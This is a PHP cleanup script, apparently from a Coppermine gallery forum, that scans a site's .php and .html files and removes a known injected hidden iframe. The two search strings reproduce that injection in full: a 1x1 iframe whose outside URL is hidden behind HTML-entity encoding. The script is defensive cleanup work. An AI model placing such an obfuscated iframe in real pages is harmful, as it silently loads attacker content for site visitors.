<?php

// author: foulu of http://coppermine-gallery.net
// email:  kak@amfcvn.net

// cure method

$html_target_string = "<iframe src=\"&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;\" width=1 height=1></iframe>";
$php_target_string = "<?php echo '<iframe src=\"&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;\" width=1 height=1></iframe>'; ?>";

// find file in this folder (.html & .php)

$file_array = array();
read_dir(".");

echo "<pre>";
foreach ($file_array as $file_data) {
	cure_file($file_data);	
}
echo "</pre>";

function read_dir($dir) {
	global $file_array;
	$handle = opendir($dir);
	if (!$handle) {		
		write_text('can\'t read folder: '.$filename, 'red');
		exit();		
	}
	while (false !== ($filename = readdir($handle))) {
		if (is_file($dir.'/'.$filename) & $filename != '.' && $filename != '..' && $filename != "cure.php") {
			$file_explode = explode('.', $filename);
			$fileext = $file_explode[count($file_explode)-1];
			if ($fileext == "php" || $fileext == "html") {
				$file_array[] = array(
			 		'name' => $dir.'/'.$filename,
			 		'ext' => $fileext,			
				);			
			}
		}
		if (is_dir($dir.'/'.$filename) && $filename != '.' && $filename != '..') {
			read_dir($dir.'/'.$filename);			
		}
	}	
	closedir($handle);
}

function cure_file($file_data) {
	global $html_target_string, $php_target_string;
	$filename = $file_data['name'];
	$fileext = $file_data['ext'];	
	//$contents = file_get_contents($filename);
	$contents = read_file($filename);
	if (!$contents) {
		write_text('can\'t read file: '.$filename, 'red');
		return false;	
	}
	if ($fileext == 'php') $sstring = $php_target_string;
	if ($fileext == 'html') $sstring = $html_target_string;	
	if (in_string($contents, $sstring)) {
		$contents = str_replace($sstring, '', $contents);
	    //$result = file_put_contents($filename, $contents);
	    $result = write_file($filename, $contents);
	    if ($result)	    	
	    	write_text('cure successful: '.$filename, 'blue');
	    else	    	
	    	write_text('can\'t write to file: '.$filename, 'red');
	} else {
		write_text('not infected: '.$filename, 'green');		
	}	
}

function in_string($string, $sString) {
	if (strpos($string, $sString) !== false) return true;
	else return false;	
}

function write_text($text, $color) {
	echo "<span style=\"color: $color;\">$text</span>"."\n";
}

function read_file($filename) {
	$fp = fopen($filename, "rb");
	if (!$fp) return false;
	$contents = '';
	while (!feof($fp)) {
  		$contents .= fread($fp, 8192);
	}
	fclose($fp);
	return $contents;
}

function write_file($filename, $filedata) {
	$fp = fopen($filename, "wb");
	if (!$fp) return false;
	fwrite($fp, $filedata);
	fclose($fp);
	return true;	
}

?>